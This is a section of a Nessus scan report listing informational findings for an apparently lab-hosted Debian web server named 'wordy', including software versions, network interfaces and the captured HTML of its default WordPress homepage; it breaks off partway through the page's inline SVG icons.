https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

```
Local checks have been enabled.
```

39521 - Backported Security Patch Detection (WWW) -

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/80/www

```
Local checks have been enabled.
```

45590 - Common Platform Enumeration (CPE) -

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2025/07/14

Plugin Output

tcp/0

```
The remote operating system matched the following CPE :

cpe:/o:debian:debian_linux:9 -> Debian Linux

Following application CPE's matched on the remote system :

cpe:/a:apache:http_server:2.4.25 -> Apache Software Foundation Apache HTTP Server
cpe:/a:apache:http_server:2.4.99 -> Apache Software Foundation Apache HTTP Server
cpe:/a:gnupg:libgcrypt:1.7.6 -> GnuPG Libgcrypt
cpe:/a:haxx:curl:7.52.1 -> Haxx Curl
cpe:/a:haxx:libcurl:7.52.1 -> Haxx libcurl
cpe:/a:mariadb:mariadb:10.1.37 -> MariaDB for Node.js
cpe:/a:openbsd:openssh:7.4 -> OpenBSD OpenSSH
cpe:/a:openbsd:openssh:7.4p1 -> OpenBSD OpenSSH
cpe:/a:openssl:openssl:1.0.2 -> OpenSSL Project OpenSSL
cpe:/a:openssl:openssl:1.0.2d -> OpenSSL Project OpenSSL
cpe:/a:openssl:openssl:1.1.0j -> OpenSSL Project OpenSSL
cpe:/a:php:php:7.0.33 -> PHP PHP
cpe:/a:tukaani:xz:5.2.2 -> Tukaani XZ
cpe:/a:vim:vim:8.0 -> Vim
```

182774 - Curl Installed (Linux / Unix) -

Synopsis

Curl is installed on the remote Linux / Unix host.

Description

Curl (also known as curl and cURL) is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.182774' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://curl.se/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/10/09, Modified: 2025/07/28

Plugin Output

tcp/0

```
Path : /usr/bin/curl
Version : 7.52.1
Associated Package : curl 7.52.1-5
Managed by OS : True
```

55472 - Device Hostname -

Synopsis

It was possible to determine the remote system hostname.

Description

This plugin reports a device's hostname collected via SSH or WMI.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/06/30, Modified: 2025/07/28

Plugin Output

tcp/0

```
Hostname : dc-6
dc-6 (hostname command)
```

54615 - Device Type -

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2025/03/12

Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 100
```

25203 - Enumerate IPv4 Interfaces via SSH -

Synopsis

Nessus was able to enumerate the IPv4 interfaces on the remote host.

Description

Nessus was able to enumerate the network interfaces configured with IPv4 addresses by connecting to the remote host via SSH using the supplied credentials.

Solution

Disable any unused IPv4 interfaces.

Risk Factor

None

Plugin Information

Published: 2007/05/11, Modified: 2025/04/28

Plugin Output

tcp/0

```
The following IPv4 addresses are set on the remote host :

- 127.0.0.1 (on interface lo)
- 10.255.112.211 (on interface eth0)
```

25202 - Enumerate IPv6 Interfaces via SSH -

Synopsis

Nessus was able to enumerate the IPv6 interfaces on the remote host.

Description

Nessus was able to enumerate the network interfaces configured with IPv6 addresses by connecting to the remote host via SSH using the supplied credentials.

Solution

Disable IPv6 if you are not actually using it. Otherwise, disable any unused IPv6 interfaces.

Risk Factor

None

Plugin Information

Published: 2007/05/11, Modified: 2025/04/28

Plugin Output

tcp/0

```
The following IPv6 interfaces are set on the remote host :

- ::1 (on interface lo)
- 2409:40c0:104b:d35f:a00:27ff:fe36:e787 (on interface eth0)
- fe80::a00:27ff:fe36:e787 (on interface eth0)
```

33276 - Enumerate MAC Addresses via SSH -

Synopsis

Nessus was able to enumerate MAC addresses on the remote host.

Description

Nessus was able to enumerate MAC addresses by connecting to the remote host via SSH with the supplied credentials.

Solution

Disable any unused interfaces.

Risk Factor

None

Plugin Information

Published: 2008/06/30, Modified: 2022/12/20

Plugin Output

tcp/0

```
The following MAC address exists on the remote host :

- 08:00:27:36:e7:87 (interface eth0)
```

170170 - Enumerate the Network Interface configuration via SSH -

Synopsis

Nessus was able to parse the Network Interface data on the remote host.

Description

Nessus was able to parse the Network Interface data on the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/01/19, Modified: 2025/02/11

Plugin Output

tcp/0

```
lo:
IPv4:
- Address : 127.0.0.1
Netmask : 255.0.0.0
IPv6:
- Address : ::1
Prefixlen : 128
Scope : host
eth0:
MAC : 08:00:27:36:e7:87
IPv4:
- Address : 10.255.112.211
Netmask : 255.255.255.0
Broadcast : 10.255.112.255
IPv6:
- Address : 2409:40c0:104b:d35f:a00:27ff:fe36:e787
Prefixlen : 64
Scope : global
- Address : fe80::a00:27ff:fe36:e787
Prefixlen : 64
Scope : link
```

35716 - Ethernet Card Manufacturer Detection -

Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :

08:00:27:36:E7:87 : PCS Systemtechnik GmbH
```

86420 - Ethernet MAC Addresses -

Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2025/06/10

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:
- 08:00:27:36:E7:87
```

10107 - HTTP Server Type and Version -

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :

Apache/2.4.25 (Debian)
```

12053 - Host Fully Qualified Domain Name (FQDN) Resolution -

Synopsis

It was possible to resolve the name of the remote host.

Description

Nessus was able to resolve the fully qualified domain name (FQDN) of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/02/11, Modified: 2025/03/13

Plugin Output

tcp/0

```
10.255.112.211 resolves as wordy.
```

24260 - HyperText Transfer Protocol (HTTP) Information -

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/80/www

```
Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

Date: Tue, 11 Nov 2025 15:22:50 GMT
Server: Apache/2.4.25 (Debian)
Link: <http://wordy/index.php/wp-json/>; rel="https://api.w.org/"
Link: <http://wordy/>; rel=shortlink
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```

Response Body :

```
<!DOCTYPE html>
<html lang="en-US" class="no-js no-svg">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">

<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>Wordy &#8211; Just another WordPress site</title>
<meta name='robots' content='noindex,follow' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//s.w.org' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="Wordy &raquo; Feed" href="http://wordy/index.php/feed/" />
<link rel="alternate" type="application/rss+xml" title="Wordy &raquo; Comments Feed" href="http://wordy/index.php/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings =
{"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11.2.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/
11.2.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/wordy\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.1.1"}};
!function(a,b,c){function d(a,b){var c=String.fromCharCode;l.clearRect(0,0,k.width,k.height),l.fillText(c.apply(this,a),0,0);var
d=k.toDataURL();l.clearRect(0,0,k.width,k.height),l.fillText(c.apply(this,b),0,0);var e=k.toDataURL();return d===e}function e(a){var
b;if(!l||!l.fillText)return!1;switch(l.textBaseline="top",l.font="600 32px Arial",a){case"flag":return!
(b=d([55356,56826,55356,56819],[55356,56826,8203,55356,56819]))&&
(b=d([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],
[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]),!b);case"emoji"
:return b=d([55358,56760,9792,65039],[55358,56760,8203,9792,65039]),!b}return!1}function f(a){var
c=b.createElement("script");c.src=a,c.defer=c.type="text/javascript",b.getElementsByTagName("head")[0].appendChild(c)}var
g,h,i,j,k=b.createElement("canvas"),l=k.getContext&&k.getContext("2d");for(j=Array("flag","emoji"),c.supports=
{everything:!0,everythingExceptFlag:!0},i=0;i<j.length;i++)c.supports[j[i]]=e(j[i]),c.supports.everything=c.supports.everything&&c.s
upports[j[i]],"flag"!==j[i]&&
(c.supports.everythingExceptFlag=c.supports.everythingExceptFlag&&c.supports[j[i]]);c.supports.everythingExceptFlag=c.supports.every
thingExceptFlag&&!c.supports.flag,c.DOMReady=!1,c.readyCallback=function(){c.DOMReady=!0},c.supports.everything||(h=function()
{c.readyCallback()},b.addEventListener?(b.addEventListener("DOMContentLoaded",h,!1),a.addEventListener("load",h,!1)):
(a.attachEvent("onload",h),b.attachEvent("onreadystatechange",function()
{"complete"===b.readyState&&c.readyCallback()})),g=c.source||{},g.concatemoji?f(g.concatemoji):g.wpemoji&&g.twemoji&&
(f(g.twemoji),f(g.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 .07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='http://wordy/wp-includes/css/dist/block-library/style.min.css?ver=5.1.1'
type='text/css' media='all' />
<link rel='stylesheet' id='wp-block-library-theme-css' href='http://wordy/wp-includes/css/dist/block-library/theme.min.css?
ver=5.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='twentyseventeen-fonts-css' href='https://fonts.googleapis.com/css?
family=Libre+Franklin%3A300%2C300i%2C400%2C400i%2C600%2C600i%2C800%2C800i&#038;subset=latin%2Clatin-ext' type='text/css' media='all'
/>
<link rel='stylesheet' id='twentyseventeen-style-css' href='http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1'
type='text/css' media='all' />
<link rel='stylesheet' id='twentyseventeen-block-style-css' href='http://wordy/wp-
content/themes/twentyseventeen/assets/css/blocks.css?ver=1.1' type='text/css' media='all' />
<!--[if lt IE 9]>
<link rel='stylesheet' id='twentyseventeen-ie8-css' href='http://wordy/wp-content/themes/twentyseventeen/assets/css/ie8.css?ver=1.0'
type='text/css' media='all' />
<![endif]-->
<!--[if lt IE 9]>
<script type='text/javascript' src='http://wordy/wp-content/themes/twentyseventeen/assets/js/html5.js?ver=3.7.3'></script>
<![endif]-->
<script type='text/javascript' src='http://wordy/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script>
<script type='text/javascript' src='http://wordy/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<link rel='https://api.w.org/' href='http://wordy/index.php/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://wordy/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://wordy/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 5.1.1" />
<link rel="canonical" href="http://wordy/" />
<link rel='shortlink' href='http://wordy/' />
<link rel="alternate" type="application/json+oembed" href="http://wordy/index.php/wp-json/oembed/1.0/embed?
url=http%3A%2F%2Fwordy%2F" />
<link rel="alternate" type="text/xml+oembed" href="http://wordy/index.php/wp-json/oembed/1.0/embed?
url=http%3A%2F%2Fwordy%2F&#038;format=xml" />
<style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>
</head>

<body class="home page-template-default page page-id-5 wp-embed-responsive twentyseventeen-front-page has-header-image page-two-
column colors-light">
<div id="page" class="site">
<a class="skip-link screen-reader-text" href="#content">Skip to content</a>

<header id="masthead" class="site-header" role="banner">

<div class="custom-header">

<div class="custom-header-media">
<div id="wp-custom-header" class="wp-custom-header"><img src="http://wordy/wp-
content/themes/twentyseventeen/assets/images/header.jpg" width="2000" height="1200" alt="Wordy" /></div></div>
```

```
<div class="site-branding">
<div class="wrap">


<div class="site-branding-text">
<h1 class="site-title"><a href="http://wordy/" rel="home">Wordy</a></h1>

<p class="site-description">Just another WordPress site</p>
</div><!-- .site-branding-text -->


</div><!-- .wrap -->
</div><!-- .site-branding -->

</div><!-- .custom-header -->

<div class="navigation-top">
<div class="wrap">
<nav id="site-navigation" class="main-navigation" role="navigation" aria-label="Top Menu">
<button class="menu-toggle" aria-controls="top-menu" aria-expanded="false">
<svg class="icon icon-bars" aria-hidden="true" role="img"> <use href="#icon-bars" xlink:href="#icon-bars"></use> </svg><svg
class="icon icon-close" aria-hidden="true" role="img"> <use href="#icon-close" xlink:href="#icon-close"></use> </svg>Menu</button>

<div class="menu-main-menu-container"><ul id="top-menu" class="menu"><li id="menu-item-15" class="menu-item menu-item-type-post_type
menu-item-object-page menu-item-home current-menu-item page_item page-item-5 current_page_item menu-item-15"><a href="http://wordy/"
aria-current="page">Welcome</a></li>
<li id="menu-item-13" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-13"><a
href="http://wordy/index.php/about-us/">About Us</a></li>
<li id="menu-item-14" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14"><a
href="http://wordy/index.php/contact-us/">Contact Us</a></li>
</ul></div>
<a href="#content" class="menu-scroll-down"><svg class="icon icon-arrow-right" aria-hidden="true" role="img"> <use href="#icon-
arrow-right" xlink:href="#icon-arrow-right"></use> </svg><span class="screen-reader-text">Scroll down to content</span></a>
</nav><!-- #site-navigation -->
</div><!-- .wrap -->
</div><!-- .navigation-top -->

</header><!-- #masthead -->


<div class="site-content-contain">
<div id="content" class="site-content">

<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">

<article id="post-5" class="twentyseventeen-panel post-5 page type-page status-publish hentry" >


<div class="panel-content">
<div class="wrap">
<header class="entry-header">
<h2 class="entry-title">Welcome</h2>

</header><!-- .entry-header -->

<div class="entry-content">

<p>Welcome to Wordy, a world leader in the area of WordPress Plugins and Security.</p>



<p>At Wordy, we know just how important it is to have secure plugins, and for this reason, we endeavour to provide the most secure
and up-to-date plugins that are available on the market.</p>



<p></p>
</div><!-- .entry-content -->

</div><!-- .wrap -->
</div><!-- .panel-content -->

</article><!-- #post-## -->


</main><!-- #main -->
</div><!-- #primary -->


</div><!-- #content -->

<footer id="colophon" class="site-footer" role="contentinfo">
<div class="wrap">

<div class="site-info">
<a href="https://wordpress.org/" class="imprint">
Proudly powered by WordPress</a>
</div><!-- .site-info -->
</div><!-- .wrap -->
</footer><!-- #colophon -->
</div><!-- .site-content-contain -->
</div><!-- #page -->
<script type='text/javascript'>
/* <![CDATA[ */
var twentyseventeenScreenReaderText = {"quote":"<svg class=\"icon icon-quote-right\" aria-hidden=\"true\" role=\"img\"> <use
href=\"#icon-quote-right\" xlink:href=\"#icon-quote-right\"><\/use> <\/svg>","expand":"Expand child menu","collapse":"Collapse child
menu","icon":"<svg class=\"icon icon-angle-down\" aria-hidden=\"true\" role=\"img\"> <use href=\"#icon-angle-down\"
```

```
xlink:href=\"#icon-angle-down\"><\/use> <span class=\"svg-fallback icon-angle-down\"><\/span><\/svg>"};
/* ]]> */
</script>
<script type='text/javascript' src='http://wordy/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js?ver=1.0'>
</script>
<script type='text/javascript' src='http://wordy/wp-content/themes/twentyseventeen/assets/js/navigation.js?ver=1.0'></script>
<script type='text/javascript' src='http://wordy/wp-content/themes/twentyseventeen/assets/js/global.js?ver=1.0'></script>
<script type='text/javascript' src='http://wordy/wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js?ver=2.1.2'></script>
<script type='text/javascript' src='http://wordy/wp-includes/js/wp-embed.min.js?ver=5.1.1'></script>
<svg style="position: absolute; width: 0; height: 0; overflow: hidden;" version="1.1" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<symbol id="icon-behance" viewBox="0 0 37 32">
<path class="path1" d="M33 6.054h-9.125v2.214h9.125v-2.214zM28.5 13.661q-1.607 0-2.607 0.938t-1.107 2.545h7.286q-0.321-3.482-3.571-
3.482zM28.786 24.107q1.125 0 2.179-0.571t1.357-1.554h3.946q-1.786 5.482-7.625 5.482-3.821 0-6.080-2.357t-2.259-6.196q0-3.714 2.33-
6.17t6.009-2.455q2.464 0 4.295 1.214t2.732 3.196 0.902 4.429q0 0.304-0.036 0.839h-11.75q0 1.982 1.027 3.063t2.973 1.080zM4.946
23.214h5.286q3.661 0 3.661-2.982 0-3.214-3.554-3.214h-5.393v6.196zM4.946 13.625h5.018q1.393 0 2.205-0.652t0.813-2.027q0-2.571-3.393-
2.571h-4.643v5.25zM0 4.536h10.607q1.554 0 2.768 0.25t2.259 0.848 1.607 1.723 0.563 2.75q0 3.232-3.071 4.696 2.036 0.571 3.071
2.054t1.036 3.643q0 1.339-0.438 2.438t-1.179 1.848-1.759 1.268-2.161 0.75-2.393 0.232h-10.911v-22.5z"></path>
</symbol>
<symbol id="icon-deviantart" viewBox="0 0 18 32">
<path class="path1" d="M18.286 5.411l-5.411 10.393 0.429 0.554h4.982v7.411h-9.054l-0.786 0.536-2.536 4.875-0.536 0.536h-5.375v-
5.411l5.411-10.411-0.429-0.536h-4.982v-7.411h9.054l0.786-0.536 2.536-4.875 0.536-0.536h5.375v5.411z"></path>
</symbol>
<symbol id="icon-medium" viewBox="0 0 32 32">
<path class="path1" d="M10.661 7.518v20.946q0 0.446-0.223 0.759t-0.652 0.313q-0.304 0-0.589-0.143l-8.304-4.161q-0.375-0.179-0.634-
0.598t-0.259-0.83v-20.357q0-0.357 0.179-0.607t0.518-0.25q0.25 0 0.786 0.268l9.125 4.571q0.054 0.054 0.054 0.089zM11.804 9.321l9.536
15.464-9.536-4.75v-10.714zM32 9.643v18.821q0 0.446-0.25 0.723t-0.679 0.277-0.839-0.232l-7.875-3.929zM31.946 7.5q0 0.054-4.58 7.491t-
5.366 8.705l-6.964-11.321 5.786-9.411q0.304-0.5 0.929-0.5 0.25 0 0.464 0.107l9.661 4.821q0.071 0.036 0.071 0.107z"></path>
</symbol>
<symbol id="icon-slideshare" viewBox="0 0 32 32">
<path class="path1" d="M15.589 13.214q0 1.482-1.134 2.545t-2.723 1.063-2.723-1.063-1.134-2.545q0-1.5 1.134-2.554t2.723-1.054 2.723
1.054 1.134 2.554zM24.554 13.214q0 1.482-1.125 2.545t-2.732 1.063q-1.589 0-2.723-1.063t-1.134-2.545q0-1.5 1.134-2.554t2.723-
1.054q1.607 0 2.732 1.054t1.125 2.554zM28.571 16.429v-11.911q0-1.554-0.571-2.205t-1.982-0.652h-19.857q-1.482 0-2.009 0.607t-0.527
2.25v12.018q0.768 0.411 1.58 0.714t1.446 0.5 1.446 0.33 1.268 0.196 1.25 0.071 1.045 0.009 1.009-0.036 0.795-0.036q1.214-0.018 1.696
0.482 0.107 0.107 0.179 0.161 0.464 0.446 1.089 0.911 0.125-1.625 2.107-1.554 0.089 0 0.652 0.027t0.768 0.036 0.813 0.018 0.946-
0.018 0.973-0.080 1.089-0.152 1.107-0.241 1.196-0.348 1.205-0.482 1.286-0.616zM31.482 16.339q-2.161 2.661-6.643 4.5 1.5 5.089-0.411
8.304-1.179 2.018-3.268 2.643-1.857 0.571-3.25-0.268-1.536-0.911-1.464-2.929l-0.018-5.821v-0.018q-0.143-0.036-0.438-0.107t-0.42-
0.089l-0.018 6.036q0.071 2.036-1.482 2.929-1.411 0.839-3.268 0.268-2.089-0.643-3.25-2.679-1.875-3.214-0.393-8.268-4.482-1.839-6.643-
4.5-0.446-0.661-0.071-1.125t1.071 0.018q0.054 0.036 0.196 0.125t0.196 0.143v-12.393q0-1.286 0.839-2.196t2.036-0.911h22.446q1.196 0
2.036 0.911t0.839 2.196v12.393l0.375-0.268q0.696-0.482 1.071-0.018t-0.071 1.125z"></path>
</symbol>
<symbol id="icon-snapchat-ghost" viewBox="0 0 30 32">
<path class="path1" d="M15.143 2.286q2.393-0.018 4.295 1.223t2.92 3.438q0.482 1.036 0.482 3.196 0 0.839-0.161 3.411 0.25 0.125 0.5
0.125 0.321 0 0.911-0.241t0.911-0.241q0.518 0 1 0.321t0.482 0.821q0 0.571-0.563 0.964t-1.232 0.563-1.232 0.518-0.563 0.848q0 0.268
0.214 0.768 0.661 1.464 1.83 2.679t2.58 1.804q0.5 0.214 1.429 0.411 0.5 0.107 0.5 0.625 0 1.25-3.911 1.839-0.125 0.196-0.196 0.696t-
0.25 0.83-0.589 0.33q-0.357 0-1.107-0.116t-1.143-0.116q-0.661 0-1.107 0.089-0.571 0.089-1.125 0.402t-1.036 0.679-1.036 0.723-1.357
0.598-1.768 0.241q-0.929 0-1.723-0.241t-1.339-0.598-1.027-0.723-1.036-0.679-1.107-0.402q-0.464-0.089-1.125-0.089-0.429 0-1.17
0.134t-1.045 0.134q-0.446 0-0.625-0.33t-0.25-0.848-0.196-0.714q-3.911-0.589-3.911-1.839 0-0.518 0.5-0.625 0.929-0.196 1.429-0.411
1.393-0.571 2.58-1.804t1.83-2.679q0.214-0.5 0.214-0.768 0-0.5-0.563-0.848t-1.241-0.527-1.241-0.563-0.563-0.938q0-0.482 0.464-
0.813t0.982-0.33q0.268 0 0.857 0.232t0.946 0.232q0.321 0 0.571-0.125-0.161-2.536-0.161-3.393 0-2.179 0.482-3.214 1.143-2.446 3.071-
3.536t4.714-1.125z"></path>
</symbol>
<symbol id="icon-yelp" viewBox="0 0 27 32">
<path class="path1" d="M13.804 23.554v2.268q-0.018 5.214-0.107 5.446-0.214 0.571-0.911 0.714-0.964 0.161-3.241-0.679t-2.902-1.589q-
0.232-0.268-0.304-0.643-0.018-0.214 0.071-0.464 0.071-0.179 0.607-0.839t3.232-3.857q0.018 0 1.071-1.25 0.268-0.339 0.705-0.438t0.884
0.063q0.429 0.179 0.67 0.518t0.223 0.75zM11.143 19.071q-0.054 0.982-0.929 1.25l-2.143 0.696q-4.911 1.571-5.214 1.571-0.625-0.036-
0.964-0.643-0.214-0.446-0.304-1.339-0.143-1.357 0.018-2.973t0.536-2.223 1-0.571q0.232 0 3.607 1.375 1.25 0.518 2.054 0.839l1.5
0.607q0.411 0.161 0.634 0.545t0.205 0.866zM25.893 24.375q-0.125 0.964-1.634 2.875t-2.42 2.268q-0.661 0.25-1.125-0.125-0.25-0.179-
3.286-5.125l-0.839-1.375q-0.25-0.375-0.205-0.821t0.348-0.821q0.625-0.768 1.482-0.464 0.018 0.018 2.125 0.714 3.625 1.179 4.321
1.42t0.839 0.366q0.5 0.393 0.393 1.089zM13.893 13.089q0.089 1.821-0.964 2.179-1.036 0.304-2.036-1.268l-6.75-10.679q-0.143-0.625
0.339-1.107 0.732-0.768 3.705-1.598t4.009-0.563q0.714 0.179 0.875 0.804 0.054 0.321 0.393 5.455t0.429 6.777zM25.714 15.018q0.054
0.696-0.464 1.054-0.268 0.179-5.875 1.536-1.196 0.268-1.625 0.411l0.018-0.036q-0.411 0.107-0.821-0.071t-0.661-0.571q-0.536-0.839 0-
1.554 0.018-0.018 1.339-1.821 2.232-3.054 2.679-3.643t0.607-0.696q0.5-0.339 1.161-0.036 0.857 0.411 2.196 2.384t1.446 2.991v0.054z">
</path>
</symbol>
<symbol id="icon-vine" viewBox="0 0 27 32">
<path class="path1" d="M26.732 14.768v3.536q-1.804 0.411-3.536 0.411-1.161 2.429-2.955 4.839t-3.241 3.848-2.286 1.902q-1.429 0.804-
2.893-0.054-0.5-0.304-1.080-0.777t-1.518-1.491-1.83-2.295-1.92-3.286-1.884-4.357-1.634-5.616-1.259-6.964h5.054q0.464 3.893 1.25
7.116t1.866 5.661 2.17 4.205 2.5 3.482q3.018-3.018 5.125-7.25-2.536-1.286-3.982-3.929t-1.446-5.946q0-3.429 1.857-5.616t5.071-
2.188q3.179 0 4.875 1.884t1.696 5.313q0 2.839-1.036 5.107-0.125 0.018-0.348 0.054t-0.821 0.036-1.125-0.107-1.107-0.455-0.902-
0.92q0.554-1.839 0.554-3.286 0-1.554-0.518-2.357t-1.411-0.804q-0.946 0-1.518 0.884t-0.571 2.509q0 3.321 1.875 5.241t4.768 1.92q1.107
0 2.161-0.25z"></path>
</symbol>
<symbol id="icon-vk" viewBox="0 0 35 32">
<path class="path1" d="M34.232 9.286q0.411 1.143-2.679 5.25-0.429 0.571-1.161 1.518-1.393 1.786-1.607 2.339-0.304 0.732 0.25 1.446
0.304 0.375 1.446 1.464h0.018l0.071 0.071q2.518 2.339 3.411 3.946 0.054 0.089 0.116 0.223t0.125 0.473-0.009 0.607-0.446 0.491-1.054
0.223l-4.571 0.071q-0.429 0.089-1-0.089t-0.929-0.393l-0.357-0.214q-0.536-0.375-1.25-1.143t-1.223-1.384-1.089-1.036-1.009-0.277q-
0.054 0.018-0.143 0.063t-0.304 0.259-0.384 0.527-0.304 0.929-0.116 1.384q0 0.268-0.063 0.491t-0.134 0.33l-0.071 0.089q-0.321 0.339-
0.946 0.393h-2.054q-1.268 0.071-2.607-0.295t-2.348-0.946-1.839-1.179-1.259-1.027l-0.446-0.429q-0.179-0.179-0.491-0.536t-1.277-1.625-
1.893-2.696-2.188-3.768-2.33-4.857q-0.107-0.286-0.107-0.482t0.054-0.286l0.071-0.107q0.268-0.339 1.018-0.339l4.893-0.036q0.214 0.036
0.411 0.116t0.286 0.152l0.089 0.054q0.286 0.196 0.429 0.571 0.357 0.893 0.821 1.848t0.732 1.455l0.286 0.518q0.518 1.071 1
1.857t0.866 1.223 0.741 0.688 0.607 0.25 0.482-0.089q0.036-0.018 0.089-0.089t0.214-0.393 0.241-0.839 0.17-1.446 0-2.232q-0.036-
0.714-0.161-1.304t-0.25-0.821l-0.107-0.214q-0.446-0.607-1.518-0.768-0.232-0.036 0.089-0.429 0.304-0.339 0.679-0.536 0.946-0.464
4.268-0.429 1.464 0.018 2.411 0.232 0.357 0.089 0.598 0.241t0.366 0.429 0.188 0.571 0.063 0.813-0.018 0.982-0.045 1.259-0.027
1.473q0 0.196-0.018 0.75t-0.009 0.857 0.063 0.723 0.205 0.696 0.402 0.438q0.143 0.036 0.304 0.071t0.464-0.196 0.679-0.616 0.929-
1.196 1.214-1.92q1.071-1.857 1.911-4.018 0.071-0.179 0.179-0.313t0.196-0.188l0.071-0.054 0.089-0.045t0.232-0.054 0.357-0.009l5.143-
0.036q0.696-0.089 1.143 0.045t0.554 0.295z"></path>
</symbol>
<symbol id="icon-search" viewBox="0 0 30 32">
<path class="path1" d="M20.571 14.857q0-3.304-2.348-5.652t-5.652-2.348-5.652 2.348-2.348 5.652 2.348 5.652 2.348 5.652 5.652 2.348 5.652 2.348
2.348-5.652zM29.714 29.714q0 0.929-0.679 1.607t-1.607 0.679q-0.964 0-1.607-0.679l-6.125-6.107q-3.196 2.214-7.125 2.214-2.554 0-
4.884-0.991t-4.018-2.679-2.679-4.018-0.991-4.884 0.991-4.884 2.679-4.018 4.018-2.679 4.884-0.991 4.884 0.991 4.018 2.679 2.679 4.018
0.991 4.884q0 3.929-2.214 7.125l6.125 6.125q0.661 0.661 0.661 1.607z"></path>
</symbol>
<symbol id="icon-envelope-o" viewBox="0 0 32 32">
<path class="path1" d="M29.714 26.857v-13.714q-0.571 0.643-1.232 1.179-4.786 3.679-7.607 6.036-0.911 0.768-1.482 1.196t-1.545 0.866-
